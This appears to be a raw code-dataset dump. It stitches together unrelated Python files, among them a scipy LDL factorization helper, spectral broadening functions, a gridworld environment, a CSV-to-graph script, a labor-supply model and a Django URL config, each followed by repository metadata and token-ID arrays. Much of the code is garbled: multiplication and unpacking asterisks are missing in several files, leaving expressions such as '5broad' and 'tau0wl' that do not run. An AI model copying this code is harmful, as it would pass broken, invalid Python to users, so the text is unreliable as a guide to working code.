diagonal matrix of the form :: [x x ] [x x ] [ x x ] [ x x ] [ x ] [ x] In other words, we write 2 when the 2x2 block is first encountered and automatically write 0 to the next entry and skip the next spin of the loop. Thus, a separate counter or array appends to keep track of block sizes are avoided. If needed, zeros can be filtered out later without losing the block structure. Parameters ---------- a : ndarray The permutation array ipiv returned by LAPACK lower : bool, optional The switch to select whether upper or lower triangle is chosen in the LAPACK call. Returns ------- swap_ : ndarray The array that defines the row/column swap operations. For example, if row two is swapped with row four, the result is [0, 3, 2, 3]. pivots : ndarray The array that defines the block diagonal structure as given above. """ n = a.size swap_ = arange(n) pivots = zeros_like(swap_, dtype=int) skip_2x2 = False # Some upper/lower dependent offset values # range (s)tart, r(e)nd, r(i)ncrement x, y, rs, re, ri = (1, 0, 0, n, 1) if lower else (-1, -1, n-1, -1, -1) for ind in range(rs, re, ri): # If previous spin belonged already to a 2x2 block if skip_2x2: skip_2x2 = False continue cur_val = a[ind] # do we have a 1x1 block or not? if cur_val > 0: if cur_val != ind+1: # Index value != array value --> permutation required swap_[ind] = swap_[cur_val-1] pivots[ind] = 1 # Not. elif cur_val < 0 and cur_val == a[ind+x]: # first neg entry of 2x2 block identifier if -cur_val != ind+2: # Index value != array value --> permutation required swap_[ind+x] = swap_[-cur_val-1] pivots[ind+y] = 2 skip_2x2 = True else: # Doesn't make sense, give up raise ValueError('While parsing the permutation array ' 'in "scipy.linalg.ldl", invalid entries ' 'found. The array syntax is invalid.') return swap_, pivots def _ldl_get_d_and_l(ldu, pivs, lower=True, hermitian=True): """ Helper function to extract the diagonal and triangular matrices for LDL.T factorization. Parameters ---------- ldu : ndarray The compact output returned by the LAPACK routing pivs : ndarray The sanitized array of {0, 1, 2} denoting the sizes of the pivots. For every 2 there is a succeeding 0. lower : bool, optional If set to False, upper triangular part is considered. hermitian : bool, optional If set to False a symmetric complex array is assumed. Returns ------- d : ndarray The block diagonal matrix. lu : ndarray The upper/lower triangular matrix """ is_c = iscomplexobj(ldu) d = diag(diag(ldu)) n = d.shape[0] blk_i = 0 # block index # row/column offsets for selecting sub-, super-diagonal x, y = (1, 0) if lower else (0, 1) lu = tril(ldu, -1) if lower else triu(ldu, 1) diag_inds = arange(n) lu[diag_inds, diag_inds] = 1 for blk in pivs[pivs != 0]: # increment the block index and check for 2s # if 2 then copy the off diagonals depending on uplo inc = blk_i + blk if blk == 2: d[blk_i+x, blk_i+y] = ldu[blk_i+x, blk_i+y] # If Hermitian matrix is factorized, the cross-offdiagonal element # should be conjugated. if is_c and hermitian: d[blk_i+y, blk_i+x] = ldu[blk_i+x, blk_i+y].conj() else: d[blk_i+y, blk_i+x] = ldu[blk_i+x, blk_i+y] lu[blk_i+x, blk_i+y] = 0. blk_i = inc return d, lu def _ldl_construct_tri_factor(lu, swap_vec, pivs, lower=True): """ Helper function to construct explicit outer factors of LDL factorization. If lower is True the permuted factors are multiplied as L(1)L(2)...L(k). Otherwise, the permuted factors are multiplied as L(k)...L(2)L(1). See LAPACK documentation for more details. Parameters ---------- lu : ndarray The triangular array that is extracted from LAPACK routine call with ones on the diagonals. swap_vec : ndarray The array that defines the row swapping indices. If the kth entry is m then rows k,m are swapped. Notice that the mth entry is not necessarily k to avoid undoing the swapping. pivs : ndarray The array that defines the block diagonal structure returned by _ldl_sanitize_ipiv(). lower : bool, optional The boolean to switch between lower and upper triangular structure. Returns ------- lu : ndarray The square outer factor which satisfies the L * D * L.T = A perm : ndarray The permutation vector that brings the lu to the triangular form Notes ----- Note that the original argument "lu" is overwritten. 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my_funcs.py	IgorReshetnyak/Spectra	0	93851	<filename>my_funcs.py<gh_stars>0 #COPYRIGHT <NAME> 2016-2020 import math import numpy import time def broad_gauss(data, energies, broad=0.1): if len(data)!=len(energies): exit("Error data and energies length differ") data1=numpy.zeros(len(energies)); ne=len(energies) for i in range(ne): norm=0.0 for i1 in range(ne): if (abs(energies[i1]-energies[i])<5broad): data1[i]+=data[i1]gauss(energies[i1],energies[i],broad) norm+=gauss(energies[i1],energies[i],broad) data1[i]=data1[i]/norm return data1 def broad_lorentz(data, energies, broad=0.1): if len(data)!=len(energies): exit("Error data and energies length differ") data1=numpy.zeros(len(energies)); ne=len(energies) for i in range(ne): norm=0.0 for i1 in range(ne): if (abs(energies[i1]-energies[i])<5broad): data1[i]+=data[i1]lorentz(energies[i1],energies[i],broad) norm+=lorentz(energies[i1],energies[i],broad) data1[i]=data1[i]/norm return data1 def broad_dynamic(data,energies,broad): if len(data)!=len(energies) or len(broad)!=len(energies): exit("Error data and energies length differ") data1=numpy.zeros(len(energies)); ne=len(energies) for i in range(ne): norm=0.0 for i1 in range(ne): if (abs(energies[i1]-energies[i])<5broad[i]): data1[i]+=data[i1]gauss(energies[i1],energies[i],broad[i]) norm+=gauss(energies[i1],energies[i],broad[i]) data1[i]=data1[i]/norm return data1 def gauss(x, mu, sigma): return (sigma * math.sqrt(2math.pi))math.exp(-1.0 / (2 * sigma * sigma) * (x - mu)(x - mu)) def lorentz(x, mu, sigma): return (sigma /math.pi/2)(1/((x-mu)(x-mu)+sigmasigma/4)) def printStage(txt): print txt print time.ctime() def eelsToEps(spectra): n=len(spectra) if n<1: exit() if n%2==1: n=n-1 im=spectra re=spectra re=numpy.fft.fft(re,n) re=-2.re.imag/n re[0:n/2]=-re[0:n/2] re=numpy.fft.fft(re,n) re=re.real re=re[1:n] im=im[1:n] e1 = re / (re * 2 + im 2) e2 = im / (re 2 + im ** 2) return e2	[ 1, 529, 9507, 29958, 1357, 29918, 7692, 2395, 29889, 2272, 29966, 12443, 29918, 303, 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examples/rotate/rotate.py	dbrainio/wrappa	11	144373	import numpy as np from wrappa import WrappaObject, WrappaImage class DSModel: def __init__(self, kwargs): pass def predict(self, data, kwargs): _ = kwargs # Data is always an array of WrappaObjects responses = [] for obj in data: img = obj.image.as_ndarray rotated_img = np.rot90(img) resp = WrappaObject(WrappaImage.init_from_ndarray( payload=rotated_img, ext=obj.image.ext, )) responses.append(resp) return responses def predict_180(self, data, **kwargs): _ = kwargs # Data is always an array of WrappaObjects responses = [] for obj in data: img = obj.image.as_ndarray rotated_img = np.rot90(img) rotated_img = np.rot90(rotated_img) resp = WrappaObject(WrappaImage.init_from_ndarray( payload=rotated_img, ext=obj.image.ext, )) responses.append(resp) return responses	[ 1, 1053, 12655, 408, 7442, 13, 13, 3166, 11463, 13410, 1053, 399, 336, 13410, 2061, 29892, 399, 336, 13410, 2940, 13, 13, 13, 1990, 360, 29903, 3195, 29901, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3579, 19290, 1125, 13, 4706, 1209, 13, 13, 1678, 822, 8500, 29898, 1311, 29892, 848, 29892, 3579, 19290, 1125, 13, 4706, 903, 353, 9049, 5085, 13, 4706, 396, 3630, 338, 2337, 385, 1409, 310, 399, 336, 13410, 12724, 13, 4706, 20890, 353, 5159, 13, 4706, 363, 5446, 297, 848, 29901, 13, 9651, 10153, 353, 5446, 29889, 3027, 29889, 294, 29918, 299, 2378, 13, 9651, 5731, 630, 29918, 2492, 353, 7442, 29889, 5450, 29929, 29900, 29898, 2492, 29897, 13, 9651, 4613, 353, 399, 336, 13410, 2061, 29898, 29956, 336, 13410, 2940, 29889, 2344, 29918, 3166, 29918, 299, 2378, 29898, 13, 18884, 20092, 29922, 5450, 630, 29918, 2492, 29892, 13, 18884, 1294, 29922, 5415, 29889, 3027, 29889, 1062, 29892, 13, 632, 876, 13, 9651, 20890, 29889, 4397, 29898, 13713, 29897, 13, 4706, 736, 20890, 13, 13, 1678, 822, 8500, 29918, 29896, 29947, 29900, 29898, 1311, 29892, 848, 29892, 3579, 19290, 1125, 13, 4706, 903, 353, 9049, 5085, 13, 4706, 396, 3630, 338, 2337, 385, 1409, 310, 399, 336, 13410, 12724, 13, 4706, 20890, 353, 5159, 13, 4706, 363, 5446, 297, 848, 29901, 13, 9651, 10153, 353, 5446, 29889, 3027, 29889, 294, 29918, 299, 2378, 13, 9651, 5731, 630, 29918, 2492, 353, 7442, 29889, 5450, 29929, 29900, 29898, 2492, 29897, 13, 9651, 5731, 630, 29918, 2492, 353, 7442, 29889, 5450, 29929, 29900, 29898, 5450, 630, 29918, 2492, 29897, 13, 9651, 4613, 353, 399, 336, 13410, 2061, 29898, 29956, 336, 13410, 2940, 29889, 2344, 29918, 3166, 29918, 299, 2378, 29898, 13, 18884, 20092, 29922, 5450, 630, 29918, 2492, 29892, 13, 18884, 1294, 29922, 5415, 29889, 3027, 29889, 1062, 29892, 13, 632, 876, 13, 9651, 20890, 29889, 4397, 29898, 13713, 29897, 13, 4706, 736, 20890, 2 ]
gym_env/gridworld/gridworld_env.py	dkkim93/gumbel-rl-gridworld	4	124548	<reponame>dkkim93/gumbel-rl-gridworld import gym import numpy as np from gym import spaces class GridworldEnv(gym.Env): def __init__(self, row, col, n_action): super(GridworldEnv, self).__init__() self.row = row self.col = col self.target_loc = np.array([1, 0], dtype=np.uint16) self.observation_space = spaces.Box(low=-1., high=1., shape=(2,), dtype=np.float32) self.action_space = spaces.Discrete(n_action) def step(self, action): self._take_action(action) next_observation = self._get_normalize_loc() reward = 1 if np.array_equal(self.agent_loc, self.target_loc) is True else 0 done = True if np.array_equal(self.agent_loc, self.target_loc) is True else False return (next_observation, reward, done, {}) def reset(self): self._init_env() return self._get_normalize_loc() def render(self): raise NotImplementedError() def _init_env(self): self.agent_loc = np.array([0, self.col // 2], dtype=np.uint16) def _get_normalize_loc(self): normalized_loc = np.array([ self.agent_loc[0] / float(self.row), self.agent_loc[1] / float(self.col)]) return normalized_loc def _take_action(self, action): action = np.argmax(action) if action == 0: new_loc = self.agent_loc[0] - 1 if new_loc < 0: new_loc = 0 # Out of bound self.agent_loc = np.array([new_loc, self.agent_loc[1]]) elif action == 1: new_loc = self.agent_loc[0] + 1 if new_loc >= self.row: new_loc = self.row - 1 # Out of bound self.agent_loc = np.array([new_loc, self.agent_loc[1]]) elif action == 2: new_loc = self.agent_loc[1] + 1 if new_loc >= self.col: new_loc = self.col - 1 # Out of bound self.agent_loc = np.array([self.agent_loc[0], new_loc]) elif action == 3: new_loc = self.agent_loc[1] - 1 if new_loc < 0: new_loc = 0 # Out of bound self.agent_loc = np.array([self.agent_loc[0], new_loc]) else: raise ValueError("Wrong action")	[ 1, 529, 276, 1112, 420, 29958, 29881, 6859, 326, 29929, 29941, 29914, 29887, 3774, 295, 29899, 2096, 29899, 7720, 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chapter2/wok/develop/examples/multiport/sum.py	chris-zen/phd-thesis	1	30523	<reponame>chris-zen/phd-thesis<filename>chapter2/wok/develop/examples/multiport/sum.py<gh_stars>1-10 from wok.task import task @task.main() def main(): values, count_port, sum_port = task.ports("x", "count", "sum") count = 0 sum = 0 for v in values: task.logger.info("value = {0}".format(v)) count += 1 sum += v task.logger.info("Sum of {0} numbers = {1}".format(count, sum)) count_port.send(count) sum_port.send(sum) task.run()	[ 1, 529, 276, 1112, 420, 29958, 305, 3780, 29899, 2256, 29914, 561, 29881, 29899, 26533, 29966, 9507, 29958, 27349, 29906, 29914, 29893, 554, 29914, 4888, 29914, 19057, 29914, 9910, 637, 29914, 2083, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 3166, 281, 554, 29889, 7662, 1053, 3414, 13, 13, 29992, 7662, 29889, 3396, 580, 13, 1753, 1667, 7295, 13, 13, 12, 5975, 29892, 2302, 29918, 637, 29892, 2533, 29918, 637, 353, 3414, 29889, 4011, 703, 29916, 613, 376, 2798, 613, 376, 2083, 1159, 13, 13, 12, 2798, 353, 29871, 29900, 13, 12, 2083, 353, 29871, 29900, 13, 12, 1454, 325, 297, 1819, 29901, 13, 12, 12, 7662, 29889, 21707, 29889, 3888, 703, 1767, 353, 426, 29900, 29913, 1642, 4830, 29898, 29894, 876, 13, 12, 12, 2798, 4619, 29871, 29896, 13, 12, 12, 2083, 4619, 325, 13, 13, 12, 7662, 29889, 21707, 29889, 3888, 703, 11139, 310, 426, 29900, 29913, 3694, 353, 426, 29896, 29913, 1642, 4830, 29898, 2798, 29892, 2533, 876, 13, 13, 12, 2798, 29918, 637, 29889, 6717, 29898, 2798, 29897, 13, 12, 2083, 29918, 637, 29889, 6717, 29898, 2083, 29897, 13, 13, 7662, 29889, 3389, 580, 13, 2 ]
csv_to_weighted_digraph.py	weberdc/socmed_repeatability	2	107171	<reponame>weberdc/socmed_repeatability #!/usr/bin/env python3 from __future__ import print_function from argparse import ArgumentParser import csv import networkx as nx import ntpath # https://stackoverflow.com/a/8384788 import os import sys class Options: def __init__(self): self.usage = 'csv_to_weighted_digraph.py -f <csvfilename> -s <srccol> -t <tgtcol> [-k <kindcol> -v -o <outdir>]' self._init_parser() def _init_parser(self): self.parser = ArgumentParser( #usage=self.usage, conflict_handler='resolve' ) self.parser.add_argument( '-v', '--verbose', action='store_true', default=False, dest='verbose', help='Turn on verbose logging (default: False)' ) self.parser.add_argument( '-h', '--header', action='store_true', default=False, dest='expect_header', help='Expect a header when reading the CSV file (default: False)' ) self.parser.add_argument( '--case-insensitive', action='store_true', default=False, dest='case_insensitive', help='Force string comparisons to be case-insensitive (default: False)' ) self.parser.add_argument( '-s', '--src-col', dest='src_col', required=True, type=int, help='Column for source nodes IDs (column index starts at 1)' ) self.parser.add_argument( '-t', '--tgt-col', dest='tgt_col', required=True, type=int, help='Column for target nodes IDs (column index starts at 1)' ) self.parser.add_argument( '-k', '--kind-col', default=None, dest='type_col', type=int, help='Column with link types (column index starts at 1)' ) self.parser.add_argument( '--src-type', dest='src_type', default='USER', help='Value for n_type property on source nodes (default: USER)' ) self.parser.add_argument( '--tgt-type', dest='tgt_type', default='USER', help='Value for n_type property on target nodes (default: USER)' ) self.parser.add_argument( '-f', '--csvfile', dest='csv_file', required=True, help='CSV filename to read' ) self.parser.add_argument( '-o', '--out-file', dest='out_file', default=None, required=False, help='Filename to which to write output (default <infile-".csv">.graphml)' ) def parse(self, args=None): return self.parser.parse_args(args) def extract_parent_dir(filepath, default_dir='./'): if not filepath: return default_dir return os.path.abspath(os.path.join(filepath, os.pardir)) def extract_filename(filepath, default_name='UNKNOWN.txt'): if not filepath: return default_name head, tail = ntpath.split(filepath) filename = tail or ntpath.basename(head) return os.path.splitext(filename)[0] def eprint(args, kwargs): """Print to stderr""" print(args, file=sys.stderr, **kwargs) DEBUG=False def log(msg): if DEBUG: eprint(msg) if __name__=='__main__': options = Options() opts = options.parse(sys.argv[1:]) DEBUG=opts.verbose log('Inspecting CSV file %s' % opts.csv_file) csv_file = opts.csv_file src_col = opts.src_col - 1 tgt_col = opts.tgt_col - 1 type_col = opts.type_col - 1 out_file = opts.out_file header = opts.expect_header src_type = opts.src_type tgt_type = opts.tgt_type ci = opts.case_insensitive g = nx.DiGraph() with open(csv_file, encoding='utf-8') as f: csv_reader = csv.reader(f, delimiter=',') # handles URLs with commas line_count = 0 for row in csv_reader: # print('linecount: %d, header: %s' % (line_count, header)) line_count += 1 if line_count == 1 and header: continue src = row[src_col] tgt = row[tgt_col] e_t = row[type_col] if ci: src = src.lower() tgt = tgt.lower() if g.has_edge(src, tgt): g[src][tgt]['weight'] += 1.0 else: if not g.has_node(src): g.add_node(src, label=src, n_type=src_type) if not g.has_node(tgt): g.add_node(tgt, label=tgt, n_type=tgt_type) g.add_edge(src, tgt, weight=1.0, e_type=e_t) line_count += 1 if not out_file: out_file = os.path.join(out_dir, '%s.graphml' % extract_filename(csv_file)) parent_dir = extract_parent_dir(out_file) if not os.path.exists(parent_dir): os.mkdir(parent_dir) nx.write_graphml(g, out_file) log('Wrote graph to %s' % out_file)	[ 1, 529, 276, 1112, 420, 29958, 705, 495, 13891, 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test_utils/mocks.py	radomd92/botjagwar	7	10422	from xml.dom import minidom import pywikibot from api.decorator import time_this SiteMock = pywikibot.Site class PageMock(pywikibot.Page): def __init__(self, args, kwargs): super(PageMock, self).__init__(args, kwargs) self.filename = "test_data/test_pages_%s.xml" % self.site.lang self.parsed = minidom.parse(open(self.filename, 'r')) self.pages = self.parsed.getElementsByTagName('page') def put(self, newtext, summary=None, watch=None, minor=True, botflag=None, force=False, asynchronous=False, callback=None, kwargs): print(('Saving page [[%s]] through put' % self.title())) def save(self, summary=None, watch=None, minor=True, botflag=None, force=False, asynchronous=False, callback=None, apply_cosmetic_changes=None, quiet=False, kwargs): print(('Saving page [[%s]] through save' % self.title())) def _save(self, summary=None, watch=None, minor=True, botflag=None, cc=None, quiet=False, kwargs): print(('Saving page [[%s]] through save' % self.title())) @time_this('Page.get() method mock') def get(self, force=False, get_redirect=False, sysop=False): for page in self.pages: xml_title = page.getElementsByTagName( 'title')[0].childNodes[0].nodeValue if xml_title == self.title(): return page.getElementsByTagName( 'text')[0].childNodes[0].nodeValue print(('No page %s found in "%s"' % (self.title(), self.filename))) return '' p = PageMock(SiteMock('en', 'wiktionary'), 'gaon') e = p.get()	[ 1, 515, 4903, 29889, 3129, 1053, 1375, 333, 290, 13, 13, 5215, 11451, 2851, 747, 327, 13, 13, 3166, 7882, 29889, 19557, 1061, 1053, 931, 29918, 1366, 13, 13, 17033, 18680, 353, 11451, 2851, 747, 327, 29889, 17033, 13, 13, 13, 1990, 9305, 18680, 29898, 2272, 2851, 747, 327, 29889, 5074, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 2428, 29898, 5074, 18680, 29892, 1583, 467, 1649, 2344, 1649, 10456, 5085, 29892, 3579, 19290, 29897, 13, 4706, 1583, 29889, 9507, 353, 376, 1688, 29918, 1272, 29914, 1688, 29918, 12292, 29918, 29995, 29879, 29889, 3134, 29908, 1273, 1583, 29889, 2746, 29889, 3893, 13, 4706, 1583, 29889, 862, 8485, 353, 1375, 333, 290, 29889, 5510, 29898, 3150, 29898, 1311, 29889, 9507, 29892, 525, 29878, 8785, 13, 4706, 1583, 29889, 12292, 353, 1583, 29889, 862, 8485, 29889, 22266, 29269, 877, 3488, 1495, 13, 13, 1678, 822, 1925, 29898, 1311, 29892, 716, 726, 29892, 15837, 29922, 8516, 29892, 6505, 29922, 8516, 29892, 9461, 29922, 5574, 29892, 9225, 15581, 29922, 8516, 29892, 13, 9651, 4889, 29922, 8824, 29892, 20489, 29922, 8824, 29892, 6939, 29922, 8516, 29892, 3579, 19290, 1125, 13, 4706, 1596, 29898, 877, 29903, 5555, 1813, 5519, 29995, 29879, 5262, 1549, 1925, 29915, 1273, 1583, 29889, 3257, 22130, 13, 13, 1678, 822, 4078, 29898, 1311, 29892, 15837, 29922, 8516, 29892, 6505, 29922, 8516, 29892, 9461, 29922, 5574, 29892, 9225, 15581, 29922, 8516, 29892, 13, 632, 4889, 29922, 8824, 29892, 20489, 29922, 8824, 29892, 6939, 29922, 8516, 29892, 13, 632, 3394, 29918, 3944, 2527, 293, 29918, 25990, 29922, 8516, 29892, 11813, 29922, 8824, 29892, 3579, 19290, 1125, 13, 4706, 1596, 29898, 877, 29903, 5555, 1813, 5519, 29995, 29879, 5262, 1549, 4078, 29915, 1273, 1583, 29889, 3257, 22130, 13, 13, 1678, 822, 903, 7620, 29898, 1311, 29892, 15837, 29922, 8516, 29892, 6505, 29922, 8516, 29892, 9461, 29922, 5574, 29892, 9225, 15581, 29922, 8516, 29892, 13, 795, 21759, 29922, 8516, 29892, 11813, 29922, 8824, 29892, 3579, 19290, 1125, 13, 4706, 1596, 29898, 877, 29903, 5555, 1813, 5519, 29995, 29879, 5262, 1549, 4078, 29915, 1273, 1583, 29889, 3257, 22130, 13, 13, 1678, 732, 2230, 29918, 1366, 877, 5074, 29889, 657, 580, 1158, 11187, 1495, 13, 1678, 822, 679, 29898, 1311, 29892, 4889, 29922, 8824, 29892, 679, 29918, 17886, 29922, 8824, 29892, 10876, 459, 29922, 8824, 1125, 13, 4706, 363, 1813, 297, 1583, 29889, 12292, 29901, 13, 9651, 4903, 29918, 3257, 353, 1813, 29889, 22266, 29269, 29898, 13, 18884, 525, 3257, 29861, 29900, 1822, 5145, 20284, 29961, 29900, 1822, 3177, 1917, 13, 9651, 565, 4903, 29918, 3257, 1275, 1583, 29889, 3257, 7295, 13, 18884, 736, 1813, 29889, 22266, 29269, 29898, 13, 462, 1678, 525, 726, 29861, 29900, 1822, 5145, 20284, 29961, 29900, 1822, 3177, 1917, 13, 13, 4706, 1596, 29898, 877, 3782, 1813, 1273, 29879, 1476, 297, 11860, 29879, 29908, 29915, 1273, 313, 1311, 29889, 3257, 3285, 1583, 29889, 9507, 4961, 13, 4706, 736, 6629, 13, 13, 13, 29886, 353, 9305, 18680, 29898, 17033, 18680, 877, 264, 742, 525, 2851, 12757, 653, 5477, 525, 3249, 265, 1495, 13, 29872, 353, 282, 29889, 657, 580, 13, 2 ]
openhgnn/dataset/RecommendationDataset.py	zsy0828/OpenHGNN	0	193753	<reponame>zsy0828/OpenHGNN<filename>openhgnn/dataset/RecommendationDataset.py<gh_stars>0 import dgl import torch as th from . import BaseDataset, register_dataset from dgl.data.utils import load_graphs @register_dataset('recommendation') class RecommendationDataset(BaseDataset): """ """ def __init__(self,): super(RecommendationDataset, self).__init__() @register_dataset('test_link_prediction') class Test_Recommendation(RecommendationDataset): def __init__(self, dataset_name): super(RecommendationDataset, self).__init__() self.g = self.load_HIN('./openhgnn/debug/data.bin') self.target_link = 'user-item' self.has_feature = False self.preprocess() #self.generate_negative() def load_HIN(self, dataset_name): g, _ = load_graphs(dataset_name) return g[0] def preprocess(self): test_mask = self.g.edges[self.target_link].data['test_mask'] index = th.nonzero(test_mask).squeeze() self.test_edge = self.g.find_edges(index, self.target_link) self.pos_test_graph = dgl.heterograph({('user', 'user-item', 'item'): self.test_edge}, {ntype: self.g.number_of_nodes(ntype) for ntype in ['user', 'item']}) self.g.remove_edges(index, self.target_link) self.g.remove_edges(index, 'item-user') self.neg_test_graph, _ = dgl.load_graphs('./openhgnn/debug/neg.bin') self.neg_test_graph = self.neg_test_graph[0] return def generate_negative(self): k = 99 e = self.pos_test_graph.edges() neg_src = [] neg_dst = [] for i in range(self.pos_test_graph.number_of_edges()): src = e[0][i] exp = self.pos_test_graph.successors(src) dst = th.randint(high=self.g.number_of_nodes('item'), size=(k,)) for d in range(len(dst)): while dst[d] in exp: dst[d] = th.randint(high=self.g.number_of_nodes('item'), size=(1,)) src = src.repeat_interleave(k) neg_src.append(src) neg_dst.append(dst) neg_edge = (th.cat(neg_src), th.cat(neg_dst)) neg_graph = dgl.heterograph({('user', 'user-item', 'item'): neg_edge}, {ntype: self.g.number_of_nodes(ntype) for ntype in ['user', 'item']}) dgl.save_graphs('./openhgnn/debug/neg.bin', neg_graph)	[ 1, 529, 276, 1112, 420, 29958, 22381, 29891, 29900, 29947, 29906, 29947, 29914, 6585, 29950, 29954, 10262, 29966, 9507, 29958, 3150, 29882, 5138, 29876, 29914, 24713, 29914, 1123, 2055, 355, 362, 16390, 24541, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 270, 3820, 13, 5215, 4842, 305, 408, 266, 13, 3166, 869, 1053, 7399, 16390, 24541, 29892, 6036, 29918, 24713, 13, 3166, 270, 3820, 29889, 1272, 29889, 13239, 1053, 2254, 29918, 4262, 29879, 13, 13, 13, 29992, 9573, 29918, 24713, 877, 276, 2055, 355, 362, 1495, 13, 1990, 830, 2055, 355, 362, 16390, 24541, 29898, 5160, 16390, 24541, 1125, 13, 1678, 9995, 13, 13, 1678, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1125, 13, 4706, 2428, 29898, 1123, 2055, 355, 362, 16390, 24541, 29892, 1583, 467, 1649, 2344, 1649, 580, 13, 13, 13, 29992, 9573, 29918, 24713, 877, 1688, 29918, 2324, 29918, 11965, 2463, 1495, 13, 1990, 4321, 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06/LaborSupplyModel.py	AskerNC/lectures-2021	9	50042	<filename>06/LaborSupplyModel.py import numpy as np from scipy import optimize def implied_tax(l,w,tau0,tau1,kappa): """ calculate implied tax of labor supply choice Args: l (float): labor supply w (float): wage tau0 (float): standard labor tax tau1 (float): top bracket labor income tax kappa (float): cut-off for the top labor income bracket Returns: (float): total tax bill """ return tau0wl + tau1np.fmax(wl-kappa,0) def implied_c(l,m,w,tau0,tau1,kappa): """ calculate implied optimal consumption of labor supply choice Args: l (float): labor supply m (float): cash-on-hand w (float): wage tau0 (float): standard labor tax tau1 (float): top bracket labor income tax kappa (float): cut-off for the top labor income bracket Returns: (float): consumption """ return m + wl - implied_tax(l,w,tau0,tau1,kappa) def utility(c,l,nu,frisch): """ utility of consumption and labor supply decision Args: c (float): consumption l (float): labor supply nu (float): disutility of labor supply frisch (float): frisch elasticity of labor supply Returns: (float): utility """ return np.log(c) - nul**(1+1/frisch)/(1+1/frisch) def value_of_choice(l,nu,frisch,m,w,tau0,tau1,kappa): """ calculate implied utlity of consumption and labor supply choice Args: l (float): labor supply nu (float): disutility of labor supply frisch (float): frisch elasticity of labor supply m (float): cash-on-hand w (float): wage tau0 (float): standard labor tax tau1 (float): top bracket labor income tax kappa (float): cut-off for the top labor income bracket Returns: (float): utility """ c = implied_c(l,m,w,tau0,tau1,kappa) return utility(c,l,nu,frisch) def find_optimal_labor_supply(nu,frisch,m,w,tau0,tau1,kappa): """ find optimal labor supply choice Args: nu (float): disutility of labor supply frisch (float): frisch elasticity of labor supply m (float): cash-on-hand w (float): wage tau0 (float): standard labor tax tau1 (float): top bracket labor income tax kappa (float): cut-off for the top labor income bracket Returns: (float): utility """ obj = lambda l: -value_of_choice(l,nu,frisch,m,w,tau0,tau1,kappa) res = optimize.minimize_scalar(obj,bounds=(1e-8,1),method='bounded') return res.x	[ 1, 529, 9507, 29958, 29900, 29953, 29914, 29931, 3717, 20182, 368, 3195, 29889, 2272, 13, 5215, 12655, 408, 7442, 13, 3166, 4560, 2272, 1053, 24656, 13, 13, 1753, 2411, 2957, 29918, 20725, 29898, 29880, 29892, 29893, 29892, 4722, 29900, 29892, 4722, 29896, 29892, 9876, 1125, 13, 1678, 9995, 8147, 2411, 2957, 8818, 310, 10212, 11421, 7348, 13, 268, 13, 1678, 826, 3174, 29901, 13, 268, 13, 4706, 301, 313, 7411, 1125, 10212, 11421, 13, 4706, 281, 313, 7411, 1125, 281, 482, 13, 4706, 260, 585, 29900, 313, 7411, 1125, 3918, 10212, 8818, 13, 4706, 260, 585, 29896, 313, 7411, 1125, 2246, 4105, 3522, 10212, 17869, 8818, 13, 4706, 413, 8055, 313, 7411, 1125, 5700, 29899, 2696, 363, 278, 2246, 10212, 17869, 4105, 3522, 13, 308, 13, 1678, 16969, 29901, 13, 268, 13, 4706, 313, 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tests/utils/test_in_memory_zip.py	goldworm-icon/gw-iconsdk	2	112694	# -- coding: utf-8 -- import os from icon.utils.in_memory_zip import InMemoryZip def test_in_memory_zip(): parent_path: str = os.path.dirname(__file__) path: str = os.path.join(parent_path, "data_to_zip") mem_zip = InMemoryZip() mem_zip.run(path) with open("data.zip", "wb") as f: f.write(mem_zip.data)	[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13, 5215, 2897, 13, 13, 3166, 9849, 29889, 13239, 29889, 262, 29918, 14834, 29918, 7554, 1053, 512, 16015, 26264, 13, 13, 13, 1753, 1243, 29918, 262, 29918, 14834, 29918, 7554, 7295, 13, 1678, 3847, 29918, 2084, 29901, 851, 353, 2897, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 29897, 13, 1678, 2224, 29901, 851, 353, 2897, 29889, 2084, 29889, 7122, 29898, 3560, 29918, 2084, 29892, 376, 1272, 29918, 517, 29918, 7554, 1159, 13, 13, 1678, 2626, 29918, 7554, 353, 512, 16015, 26264, 580, 13, 1678, 2626, 29918, 7554, 29889, 3389, 29898, 2084, 29897, 13, 13, 1678, 411, 1722, 703, 1272, 29889, 7554, 613, 376, 29893, 29890, 1159, 408, 285, 29901, 13, 4706, 285, 29889, 3539, 29898, 6954, 29918, 7554, 29889, 1272, 29897, 13, 2 ]
examplecms/urls.py	nacady/django-publish	0	108105	<filename>examplecms/urls.py<gh_stars>0 from django.conf.urls import include, url from django.conf import settings from django.contrib import admin from django.views import static urlpatterns = [ url('^admin/', include(admin.site.urls)), url(r'^media/(?P<path>.*)$', static.serve, {'document_root': settings.MEDIA_ROOT, 'show_indexes': True}), url('^', include('pubcms.urls')), ]	[ 1, 529, 9507, 29958, 4773, 29883, 1516, 29914, 26045, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 9557, 29889, 5527, 29889, 26045, 1053, 3160, 29892, 3142, 13, 3166, 9557, 29889, 5527, 1053, 6055, 13, 3166, 9557, 29889, 21570, 1053, 4113, 13, 3166, 9557, 29889, 7406, 1053, 2294, 13, 13, 2271, 11037, 29879, 353, 518, 13, 1678, 3142, 877, 29985, 6406, 29914, 742, 3160, 29898, 6406, 29889, 2746, 29889, 26045, 8243, 13, 13, 1678, 3142, 29898, 29878, 29915, 29985, 9799, 29914, 10780, 29925, 29966, 2084, 29958, 5575, 1262, 742, 2294, 29889, 16349, 29892, 11117, 3225, 29918, 4632, 2396, 6055, 29889, 2303, 4571, 29909, 29918, 21289, 29892, 525, 4294, 29918, 2248, 267, 2396, 5852, 9594, 13, 268, 13, 1678, 3142, 877, 29985, 742, 3160, 877, 5467, 29883, 1516, 29889, 26045, 1495, 511, 13, 29962, 13, 2 ]
